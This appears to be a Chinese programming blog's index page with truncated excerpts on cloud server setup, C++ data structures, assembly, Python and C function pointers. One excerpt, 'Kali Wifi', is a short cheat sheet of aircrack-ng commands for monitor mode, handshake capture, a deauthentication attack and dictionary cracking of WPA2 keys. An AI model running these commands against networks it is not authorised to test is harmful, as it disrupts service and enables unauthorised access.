阿里云轻量应用服务器ubuntu20.04上手体验与基本配置(图形界面,ssh,代理等)
写在前面
最近通过帅地的公众号get了一个一年的阿里云轻量应用服务器, 2核4GB, 磁盘60GB,流量1100GB, 感觉还是相当够用的. 一开始我就将其当成一个x86_64架构的虚拟机了, 但是后来发现这样实在是有点浪费了, 云服务器能做的事情可真是多. 之前就了解过的内网穿透服务器就可以用云服务器来搭建, 此外还可以做一些个人站点之类的. 话不多说, 我们先来配置一下这座’毛坯房’, 让它能够适应我们的需求.
系统镜像我选择了Ubuntu当前支持的最新版本20.04(focal), 毕竟是最大众化的一款Linux发行版了, 用着顺手.
之后可以通过重置镜像的方式更改.
ssh链接:秘钥文件+密码
由于平台默认已经为我们分配了公网ip, 此时就可以远程连接到云...
用c++递归lambda重写二叉树的生成与遍历完整程序
写在前面
之前写过一篇有关二叉树的生成与遍历的C++版本, 但是当时的递归用的是两个函数, 写法有点臃肿, 这次重写一下代码, 然后对树的结构部分加以改进, 不需要getroot()方法, 直接在函数内部传入根节点, 类的声明与实现分离.
完整代码见dsa/Binary_Tree.cpp at main · Apocaly-pse/dsa (github.com);
声明部分
#ifndef BTREE
#define BTREE
#include <iostream>
#include <queue>
#include <stack>
#include <vector>
#include <functional> ...
Kali Wifi
连接无线网卡: ifconfig,
开启无线网卡: airmon-ng start wlan0,
监听: airodump-ng wlan0mon,
PWR: 信号强度, 数字越低信号越强.
CH: WiFi信道.
airodump-ng -c 1 --bssid FA:4C:1F:A0:19:8E -w ~/ wlan0mon,
发起反认证攻击:aireplay-ng -0 10 -a FA:4C:1F:A0:19:8E wlan0mon
-0, 发送包的次数, 参数0为发送无数次.
字典爆破(适合纯数字): aircrack-ng -a2 -b FA:4C:1...
配置力扣的本地刷题环境之c++链表篇
写在前面
今天做一道关于链表交换节点的题(24. 两两交换链表中的节点 - 力扣(LeetCode)), 发现在力扣的调试环境中输出节点比较麻烦, 而且不是会员的话判题速度其实很慢, 那么就试试在本地环境中配置一套专为链表类型题打造的调试环境吧~
基本头文件
#include <iostream>
using namespace std;
struct ListNode {
int val;
ListNode* next;
ListNode() : val(0), next(nullptr) {}
ListNode(int x) : val(x), next(nullptr) {}
ListNode(int x, ListN...
汇编语言(王爽)寄存器部分(chap2,3)小结
写在前面
小结一下最近看的汇编语言王爽(第三版)的寄存器, 内存访问与基本汇编指令部分的内容. 其实学习操作系统, 熟悉一些基本的汇编语法即可, 但是要想读懂后面的程序链接等内容还是要好好研究一下汇编的实现细节. 毕竟这是探寻计算机底层的最好的工具.
下面的讨论均基于Intel的8086芯片. 寄存器部分参考1.
寄存器(register)
分类(共14个)
通用寄存器: AX, BX, CX, DX, 用于存放一般的数据, 每一个寄存器都是16位的(下同), 可以分成高位和低位两种情况(例如AX=AH+AL, 这里面的AH, AL等均为8位寄存器)
段(Segment)寄存器:
代码段寄存器(Code segment register): C...
Python的eval()和int()的几点区别和性能差异
写在前面
今天刷几道关于数的运算的题, 我发现了一个很匪夷所思的问题:
两段几乎完全一样的代码, 其运行时间差异怎么会如此之大呢?(题目:415. 字符串相加 - 力扣(LeetCode))
# 我的代码
class Solution:
def addStrings(self, num1: str, num2: str) -> str:
na,nb=len(num1)-1,len(num2)-1
add=0
ans=''
while na>=0 or nb>=0 or add:
a=eval(num1[na]) if na>=0 else 0
...
在macos上使用dosbox X配置masm汇编环境
写在前面
学习OS, 不得不学的一门语言就是汇编了, 说起来这种语言应该是除机器语言外最接近计算机底层的语言了, 但是又不失可读性. 下面我在自己的电脑上配置了masm汇编环境, 并且给出了配置文件的使用方法(dosbox-x默认配置文件并不在其官网所述的目录中!) 包括字体的修改, 环境变量的配置等等.
下载安装
brew:
brew install dosbox-x --cask
至于为什么没有使用dosbox呢? 当时好像是dosbox-x最先支持了m1, 并且有更多的功能, 就先体验了(后来发现确实比原版的dosbox要好用一些)
配置文件在哪里
关于这个默认的配置文件我找了好久, 因为官网说:
(Windows) C:\Users\<...
C语言函数指针在形参列表和返回值中的函数声明写法
写在前面
最近看网络, 发现系统调用中的信号函数的声明有点奇怪, 如下:
void (*signal(int sig, void (*func)(int)))(int);
虽然书中给出了解释, 但是奈何自己的C语言基础不好, 看着比较费劲, 下面就重新研究一下C语言中的函数指针, 包括以下的几种情况.
函数指针的声明(两种, 算上C++的话就是三种, 其实采用宏定义的方式也可以, 但是宏定义只是简单的变量替换, 不建议在这里使用);
函数指针作为函数返回值时函数的声明;
函数指针作为函数参数时函数的声明.
传统的这种写法(例如上面提到的signal()函数)看起来实在是不好理解, 特别是括号的嵌套法则很容易出错, 这里还是推荐先对函数指针进行声明之后再...
共计 465 篇文章,59 页。
您是Zorch的第 个小伙伴
Hits